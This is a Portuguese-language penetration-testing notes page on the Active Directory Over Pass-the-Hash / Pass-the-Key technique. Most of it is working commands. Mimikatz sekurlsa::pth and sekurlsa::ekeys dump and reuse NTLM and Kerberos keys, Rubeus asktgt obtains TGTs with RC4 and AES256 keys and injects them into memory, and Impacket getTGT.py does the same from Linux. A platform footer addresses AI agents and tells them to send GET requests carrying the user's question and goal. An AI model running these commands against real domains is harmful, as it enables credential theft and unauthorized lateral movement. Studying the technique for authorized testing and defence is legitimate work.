> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md).
# Over Pass-the-Hash / Pass-the-Key
Notas de segurança do Active Directory para Over Pass-the-Hash / Pass-the-Key, cobrindo enumeração, Kerberos, credenciais, abuso de ACL, movimentação lateral, fluxo de exploração e etapas de validação.
O Kerberos suporta vários tipos de chave, incluindo `RC4`, `AES128`, e `AES256`.
Com `mimikatz`, o seguinte comando abre uma nova sessão e também modifica o contexto Kerberos na memória.
```bash
./mimikatz.exe
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```
Uma vez que esse contexto é carregado, podemos solicitar um TGT com `Rubeus`.
```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86 /ptt
```
Este comando recupera o TGT da conta e o injeta diretamente na memória.
Para ver as chaves Kerberos presentes na memória de uma conta, podemos usar `sekurlsa::ekeys`.
```bash
./mimikatz.exe
sekurlsa::ekeys
```
Então recuperamos várias representações da mesma chave, por exemplo em `RC4` e em `AES256`.
Podemos então solicitar um TGT com a chave AES.
```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /aes256:ed4d2f076e72933e67f5da9e4f4e5f21da0ba8d491a20b40b4aaa377dc81d5b5 /ptt
```
No Linux, a mesma operação pode ser feita com `getTGT.py`.
```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
